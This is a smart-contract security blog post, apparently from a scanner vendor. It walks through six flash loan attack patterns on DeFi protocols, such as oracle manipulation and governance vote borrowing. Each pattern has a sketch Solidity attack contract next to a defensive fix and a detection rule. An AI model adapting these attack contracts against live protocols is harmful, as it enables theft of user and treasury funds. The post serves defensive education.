Flash loans do not introduce new attack categories — they remove the capital barrier to attacks that already exist. A protocol vulnerable to price oracle manipulation is vulnerable with or without flash loans. The flash loan just means an attacker with zero starting capital can carry out an exploit that would otherwise require $50M in liquid assets. This distinction matters for how you think about fixes: patching the flash loan entry point accomplishes nothing; patching the underlying design flaw does.
Aave V3, Balancer, and dYdX all offer uncollateralized loans that must be repaid within a single transaction. The loan amount is bounded only by the pool's liquidity — routinely tens or hundreds of millions of dollars. That capital, available atomically, fundamentally changes which attacks are economically viable.
This post covers six concrete attack patterns, each with a representative attack contract and its corresponding defensive fix.
1. Flash Loan Price Oracle Manipulation
The most common flash loan attack uses borrowed capital to move a spot price on a DEX, then interacts with a victim protocol that reads that spot price as truth.
Attack flow:
contract OracleManipulationAttack {
IPool aave = IPool(AAVE_V3_POOL);
IUniswapV2Pair pair = IUniswapV2Pair(USDC_ETH_PAIR);
ILendingProtocol victim = ILendingProtocol(VICTIM);
function attack() external {
// 1. Borrow 50M USDC via Aave flash loan
aave.flashLoanSimple(address(this), USDC, 50_000_000e6, "", 0);
}
function executeOperation(
address asset, uint256 amount, uint256 premium, address, bytes calldata
) external returns (bool) {
// 2. Swap USDC → ETH, inflating ETH spot price in the pair
IERC20(USDC).transfer(address(pair), amount);
pair.swap(0, ethOut, address(this), "");
// 3. Victim reads pair.getReserves() as its oracle — sees inflated ETH price
// Borrow maximum ETH-denominated assets against minimal collateral
victim.borrowAtManipulatedPrice();
// 4. Swap ETH back → USDC at near-market rate
pair.swap(usdcOut, 0, address(this), "");
// 5. Repay flash loan + premium
IERC20(USDC).approve(address(aave), amount + premium);
return true;
}
}
The victim protocol loses the difference between the manipulated valuation and real market value. Real-world examples include the Harvest Finance exploit ($34M) and the Cheese Bank exploit.
Fix — TWAP oracle:
// Read a time-weighted average price, not a spot price
function getPrice(address token) internal view returns (uint256) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(pair);
uint32 timeElapsed = blockTimestamp - lastTimestamp;
require(timeElapsed >= MIN_PERIOD, "TWAP: too soon"); // enforce e.g. 30-minute window
uint224 price = uint224(
(price0Cumulative - lastPrice0Cumulative) / timeElapsed
);
return uint256(price);
}
A 30-minute TWAP requires an attacker to sustain the manipulated price across many blocks — economically infeasible for any realistic attack budget.
2. Collateral Inflation Attack
Lending protocols that allow deposit and borrow in the same block can be attacked with a looping amplification strategy that uses a flash loan as the initial stake.
Attack flow:
contract CollateralInflationAttack {
function attack(ILendingPool pool, address tokenA, address tokenB) external {
uint256 borrowed = flashBorrow(tokenA, AMOUNT);
// Loop: deposit A → borrow B → swap B → A → deposit more A
for (uint i = 0; i < 5; i++) {
pool.deposit(tokenA, borrowed, address(this), 0);
uint256 mintedB = pool.borrow(tokenB, maxBorrowable(), address(this));
borrowed = swapBForA(mintedB);
}
// Net result: far more A borrowed than the flash loan amount,
// backed by collateral that was itself borrowed this block.
repayFlashLoan();
}
}
Each loop iteration uses the previous borrow as new collateral. A protocol that updates its internal accounting within the same block lets an attacker build a synthetic leverage tower with no real capital.
Fix — single-block borrow delay:
mapping(address => uint256) public lastDepositBlock;
function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referral) external {
lastDepositBlock[onBehalfOf] = block.number;
// ... normal deposit logic
}
function borrow(address asset, uint256 amount, ...) external {
require(
block.number > lastDepositBlock[msg.sender],
"Cannot borrow in same block as deposit"
);
// ... normal borrow logic
}
Requiring at least one block between deposit and borrow collapses the entire attack: the flash loan must be repaid before the next block, so the loop cannot complete.
3. Flash Loan Governance Attack
The Beanstalk exploit ($182M, April 2022) showed that on-chain governance with snapshot voting is critically broken when flash loans exist. An attacker borrowed enough governance tokens to pass a proposal in a single transaction.
Attack flow:
contract GovernanceAttack {
IGovernor gov = IGovernor(PROTOCOL_GOV);
IBalancerVault balancer = IBalancerVault(BALANCER_VAULT);
function attack(uint256 proposalId) external {
// 1. Flash borrow governance tokens from Balancer
balancer.flashLoan(address(this), tokens, amounts, abi.encode(proposalId));
}
function receiveFlashLoan(
IERC20[] memory, uint256[] memory amounts, uint256[] memory, bytes memory data
) external {
uint256 proposalId = abi.decode(data, (uint256));
// 2. Cast vote with borrowed voting power
gov.castVote(proposalId, 1 /* For */);
// 3. If governance executes same block — drain treasury here
gov.execute(proposalId);
// 4. Repay Balancer (no fee on flash loans)
repayBalancer(amounts);
}
}
The root cause is that the governance contract reads token.balanceOf(voter) at vote time rather than using checkpointed historical balances.
Fix — use past votes checkpoint:
// OpenZeppelin Governor already supports this — make sure it's configured correctly
function _getVotes(
address account,
uint256 blockNumber,
bytes memory
) internal view override returns (uint256) {
// Read balance from BEFORE the current block — flash loans can't affect this
return token.getPastVotes(account, blockNumber - 1);
}
// Also require a voting delay so tokens must be held before proposal creation
uint256 public constant VOTING_DELAY = 7200; // ~1 day in blocks
Using getPastVotes(block.number - 1) means any tokens acquired in the current block — including flash loan proceeds — carry zero voting power.
4. Flash Loan Sandwich of Protocol's Own Swap
Some protocols execute swaps internally as part of their normal operation — converting collected fees to a treasury token, rebalancing reserves, or settling funding payments. An attacker who can predict this swap can wrap a flash loan around it to extract value.
Attack flow:
contract ProtocolSandwichAttack {
function attack(IVictimProtocol victim, IUniswapV2Pair pair) external {
uint256 flash = flashBorrow(TOKEN_A, LARGE_AMOUNT);
// Front-run: push price of TOKEN_A up before protocol swaps
swapAForB(flash); // moves pool price
// Protocol's internal swap now executes at a worse rate (protocol is the victim)
victim.collectAndConvertFees(); // protocol swaps TOKEN_B → TOKEN_A at bad price
// Back-run: sell TOKEN_B accumulated at inflated price
swapBForA(ourBBalance);
repayFlashLoan();
// Profit = slippage extracted from protocol's forced swap
}
}
The protocol acts as the price taker — it must execute the swap regardless of current conditions — and the attacker extracts the slippage as profit.
Fix — slippage protection on internal swaps:
function collectAndConvertFees() internal {
uint256 amountIn = IERC20(feeToken).balanceOf(address(this));
// Calculate expected output using a TWAP, not spot price
uint256 expectedOut = twapOracle.getExpectedOutput(feeToken, treasuryToken, amountIn);
uint256 minOut = expectedOut * 95 / 100; // 5% max slippage
router.swapExactTokensForTokens(
amountIn,
minOut, // revert if sandwich drives price past this threshold
path,
treasury,
block.timestamp
);
}
Any protocol that performs swaps must set its own amountOutMinimum. Leaving it at zero is equivalent to posting a standing invitation for sandwich attacks.
5. Leveraged Position Liquidation via Flash Loan
Liquidation bonuses create a profitable target. If an attacker can temporarily depress the collateral price of a leveraged position, they can trigger the liquidation themselves and collect the bonus.
Attack flow:
contract LiquidationAttack {
function attack(address borrower, ILendingPool pool, address collateral) external {
uint256 flash = flashBorrow(collateral, LARGE_AMOUNT);
// 1. Depress collateral price by dumping into its primary pool
dumpCollateralIntoPool(flash);
// Pool price now reflects manipulated spot — if pool IS the oracle, position is now undercollateralized
// 2. Liquidate the undercollateralized position, collecting bonus
pool.liquidationCall(collateral, debtAsset, borrower, type(uint256).max, false);
// Receive collateral + liquidation bonus (typically 5-15%)
// 3. Restore price (optional — attacker already has bonus)
buyCollateralFromPool();
repayFlashLoan();
// Net profit = liquidation bonus - flash loan fee - price impact costs
}
}
This attack is particularly effective against protocols using AMM spot prices for liquidation eligibility checks.
Fix — multi-block TWAP and liquidation cooldown:
function isLiquidatable(address borrower) public view returns (bool) {
uint256 collateralValue = twapOracle.getValue(collateral, MIN_TWAP_PERIOD);
uint256 debtValue = twapOracle.getValue(debt, MIN_TWAP_PERIOD);
return collateralValue * LTV_PRECISION < debtValue * liquidationThreshold;
}
mapping(address => uint256) public lastLiquidationBlock;
function liquidationCall(address borrower, ...) external {
require(isLiquidatable(borrower), "Position is healthy");
require(
block.number >= lastLiquidationBlock[borrower] + LIQUIDATION_COOLDOWN,
"Liquidation cooldown active"
);
lastLiquidationBlock[borrower] = block.number;
// ... execute liquidation
}
A TWAP oracle cannot be moved within a single block. The liquidation cooldown prevents rapid repeated liquidations even if an attacker sustains price pressure across blocks.
6. Flash Loan-Enabled Arbitrage That Breaks Protocol Assumptions
AMMs and protocols with bonding curves frequently assume that the spread between their internal price and the external market price is bounded. Flash loans allow an attacker to temporarily maximize that spread and extract liquidity via arbitrage before the protocol can react.
Attack flow:
The attacker borrows a large amount, floods the AMM on one side to push its internal price far from the market, then exploits the protocol's own mechanisms — which are designed for small imbalances — to drain liquidity at the artificially favorable rate.
contract ArbitrageProtocolDrain {
function attack(IAMMProtocol amm, address tokenA, address tokenB) external {
uint256 flash = flashBorrow(tokenA, EXTREME_AMOUNT);
// Push AMM internal price of tokenB way down (flood with tokenA)
amm.swap(tokenA, tokenB, flash);
// AMM internal: 1 tokenB = 0.1 tokenA (actual market: 1 tokenB = 1 tokenA)
// Protocol's arbitrage incentive mechanism pays us to "rebalance"
// We extract tokenB at 0.1x cost, sell externally at 1x
uint256 tokenBReceived = amm.rebalance(); // protocol rewards arbitrageurs
sellOnExternalMarket(tokenBReceived);
repayFlashLoan();
// Profit = (external price - internal price) * volume, minus fees
}
}
Fix — rate-limit arbitrage paths and bound price impact:
uint256 public constant MAX_PRICE_IMPACT_BPS = 200; // 2% max per swap
uint256 public constant ARBITRAGE_WINDOW_BLOCKS = 10;
mapping(address => uint256) public lastArbitrageBlock;
modifier rateLimit(address caller) {
require(
block.number >= lastArbitrageBlock[caller] + ARBITRAGE_WINDOW_BLOCKS,
"Rate limit: too many arbitrage calls"
);
lastArbitrageBlock[caller] = block.number;
_;
}
function swap(address tokenIn, address tokenOut, uint256 amountIn)
external
rateLimit(msg.sender)
returns (uint256 amountOut)
{
uint256 priceBefore = getSpotPrice(tokenIn, tokenOut);
amountOut = _swap(tokenIn, tokenOut, amountIn);
uint256 priceAfter = getSpotPrice(tokenIn, tokenOut);
uint256 impact = (priceBefore - priceAfter) * 10000 / priceBefore;
require(impact <= MAX_PRICE_IMPACT_BPS, "Price impact too high");
}
Bounding price impact per swap forces an attacker to spread the manipulation across many transactions and many blocks — defeating the atomic nature of flash loan attacks.
What ContractScan Detects
ContractScan analyzes Solidity source and bytecode for patterns that enable these exploits. The table below maps each attack pattern to its detection method and assigned severity.
| Vulnerability | Detection Method | Severity |
|---|---|---|
| Flash Loan Price Oracle Manipulation | Identifies getReserves() / slot0() spot price reads in valuation paths without TWAP guards |
Critical |
| Collateral Inflation (Same-Block Borrow) | Detects missing block.number checks between deposit and borrow state transitions |
High |
| Governance Flash Loan Voting | Flags balanceOf usage in vote weight calculation instead of getPastVotes with historical block |
Critical |
| Protocol Swap Sandwich | Finds internal swap calls with zero or unchecked amountOutMinimum / minAmountOut |
High |
| Liquidation Oracle Manipulation | Detects spot price oracles used in liquidation eligibility logic without time-weighting | Critical |
| Unbounded AMM Arbitrage | Identifies missing price impact bounds and absent rate-limiting on swap or rebalance entry points | Medium |
All six detectors run automatically on every scan. Results include the vulnerable code path, the manipulable state variable, and a recommended remediation pattern tailored to the specific protocol architecture.
Related Posts
- Oracle Price Manipulation via Flash Loan: Deep Dive
- Governance Attack Patterns: Flash Loan Voting and Timelock Bypass
Important Notes
This post is for informational and educational purposes only. It does not constitute financial, legal, or investment advice. The security analysis provided is based on available data and automated tools, which may not capture all potential vulnerabilities. Always conduct a professional audit before deploying smart contracts.